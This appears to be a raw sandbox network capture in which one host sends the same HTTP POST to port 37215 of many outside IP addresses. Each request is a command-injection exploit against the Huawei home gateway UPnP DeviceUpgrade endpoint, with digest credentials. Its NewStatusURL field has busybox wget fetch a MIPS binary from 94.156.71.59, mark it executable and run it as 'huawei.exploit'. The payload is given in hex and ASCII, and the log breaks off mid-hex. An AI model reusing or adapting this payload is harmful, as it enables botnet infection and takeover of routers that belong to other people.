Jun 10, 2024 15:38:00.039932013 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.13	48102	41.41.194.38	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.131221056 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.13	43292	41.102.185.160	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.132023096 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.13	40686	41.219.156.112	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.132777929 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.13	35252	41.136.197.138	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.133538008 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.13	45440	197.110.124.70	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.134300947 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.13	44468	156.134.62.117	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.160015106 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.13	57854	156.211.139.234	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.160742998 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.13	33540	41.69.228.208	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.161493063 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.13	37698	41.34.192.208	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.162235022 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.13	55306	156.199.176.162	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.162961006 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 